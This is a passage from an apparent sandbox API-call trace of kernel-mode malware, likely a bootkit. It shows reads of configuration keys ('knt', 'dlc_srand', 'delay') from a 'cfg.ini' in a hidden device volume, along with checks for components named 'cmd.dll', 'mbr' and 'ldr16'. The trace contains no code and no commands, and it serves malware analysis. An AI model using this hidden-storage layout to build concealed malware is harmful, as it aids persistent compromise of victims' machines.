(_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.162] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.162] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.162] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.162] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.162] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.162] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.162] KeLeaveCriticalRegion () [0123.162] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.162] ReleaseMutex (hMutex=0x100) returned 1 [0123.162] Sleep (dwMilliseconds=0x2bf20) [0123.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c9b1f70, dwHighDateTime=0x1d24fa4)) [0123.168] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.168] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.168] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.168] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.168] KeEnterCriticalRegion () [0123.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.169] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.169] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.169] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.169] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.169] IdePortDispatch () returned 0x103 [0123.169] KeWaitForMutexObject () returned 0x0 [0123.169] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.169] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.169] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.169] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.169] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.169] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9510 [0123.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.169] KeLeaveCriticalRegion () [0123.169] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.169] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.169] KeEnterCriticalRegion () [0123.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.169] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.169] KeLeaveCriticalRegion () [0123.169] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.169] KeEnterCriticalRegion () [0123.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.169] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.169] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.169] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.169] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.169] IdePortDispatch () returned 0x103 [0123.169] KeWaitForMutexObject () returned 0x0 [0123.170] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.170] KeLeaveCriticalRegion () [0123.170] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.170] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.170] KeEnterCriticalRegion () [0123.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.170] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002de3000 [0123.170] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.170] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.170] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.170] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.170] IdePortDispatch () returned 0x103 [0123.170] KeWaitForMutexObject () returned 0x0 [0123.170] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.170] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.170] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.170] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.170] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.170] IdePortDispatch () returned 0x103 [0123.170] KeWaitForMutexObject () returned 0x0 [0123.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.170] KeLeaveCriticalRegion () [0123.170] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.171] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.171] KeEnterCriticalRegion () [0123.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.171] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.171] KeLeaveCriticalRegion () [0123.171] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.171] KeEnterCriticalRegion () [0123.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.171] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.171] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.171] KeLeaveCriticalRegion () [0123.171] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.171] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.171] KeEnterCriticalRegion () [0123.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.171] ExFreePoolWithTag (P=0xfffffa8003be9510, Tag=0x0) [0123.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.171] KeLeaveCriticalRegion () [0123.171] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.171] ReleaseMutex (hMutex=0xf0) returned 1 [0123.171] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.171] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.171] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.171] KeEnterCriticalRegion () [0123.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.171] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.171] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.171] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.171] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.171] IdePortDispatch () returned 0x103 [0123.172] KeWaitForMutexObject () returned 0x0 [0123.172] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.172] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.172] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.172] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.172] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.172] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beaba0 [0123.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.172] KeLeaveCriticalRegion () [0123.172] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.172] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.172] KeEnterCriticalRegion () [0123.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.172] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.172] KeLeaveCriticalRegion () [0123.172] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.172] KeEnterCriticalRegion () [0123.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.172] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.172] IdePortDispatch () returned 0x103 [0123.172] KeWaitForMutexObject () returned 0x0 [0123.172] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.172] KeLeaveCriticalRegion () [0123.172] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.172] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.173] KeEnterCriticalRegion () [0123.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.173] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002de4000 [0123.173] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.173] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.173] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.173] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.173] IdePortDispatch () returned 0x103 [0123.173] KeWaitForMutexObject () returned 0x0 [0123.173] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.173] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.173] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.173] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.173] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.173] IdePortDispatch () returned 0x103 [0123.173] KeWaitForMutexObject () returned 0x0 [0123.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.173] KeLeaveCriticalRegion () [0123.173] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.174] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.174] KeEnterCriticalRegion () [0123.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.174] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.174] KeLeaveCriticalRegion () [0123.174] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.174] KeEnterCriticalRegion () [0123.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.174] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.174] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.174] KeLeaveCriticalRegion () [0123.174] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.174] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.174] KeEnterCriticalRegion () [0123.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.174] ExFreePoolWithTag (P=0xfffffa8003beaba0, Tag=0x0) [0123.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.174] KeLeaveCriticalRegion () [0123.174] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.174] ReleaseMutex (hMutex=0xf0) returned 1 [0123.174] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.174] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.174] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.174] KeEnterCriticalRegion () [0123.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.174] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.174] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.174] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.174] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.174] IdePortDispatch () returned 0x103 [0123.175] KeWaitForMutexObject () returned 0x0 [0123.175] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.175] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.175] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.175] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.175] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.175] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be71b0 [0123.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.175] KeLeaveCriticalRegion () [0123.175] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.175] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.175] KeEnterCriticalRegion () [0123.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.175] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.175] KeLeaveCriticalRegion () [0123.175] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.175] KeEnterCriticalRegion () [0123.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.175] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.175] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.175] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.175] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.175] IdePortDispatch () returned 0x103 [0123.175] KeWaitForMutexObject () returned 0x0 [0123.175] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.175] KeLeaveCriticalRegion () [0123.175] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.175] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.176] KeEnterCriticalRegion () [0123.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.176] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002de5000 [0123.176] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.176] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.176] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.176] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.176] IdePortDispatch () returned 0x103 [0123.176] KeWaitForMutexObject () returned 0x0 [0123.176] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.176] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.176] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.176] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.176] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.176] IdePortDispatch () returned 0x103 [0123.176] KeWaitForMutexObject () returned 0x0 [0123.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.176] KeLeaveCriticalRegion () [0123.176] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.177] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.177] KeEnterCriticalRegion () [0123.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.177] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.177] KeLeaveCriticalRegion () [0123.177] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.177] KeEnterCriticalRegion () [0123.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.177] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.177] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.177] KeLeaveCriticalRegion () [0123.177] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.177] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.177] KeEnterCriticalRegion () [0123.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.177] ExFreePoolWithTag (P=0xfffffa8003be71b0, Tag=0x0) [0123.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.177] KeLeaveCriticalRegion () [0123.177] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.177] ReleaseMutex (hMutex=0xf0) returned 1 [0123.177] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.177] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.177] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.177] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.177] KeEnterCriticalRegion () [0123.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.177] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.177] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.177] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.177] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.177] IdePortDispatch () returned 0x103 [0123.177] KeWaitForMutexObject () returned 0x0 [0123.178] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.178] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.178] _strnicmp (_Str1="ldr16", _Str="lsash.xp", 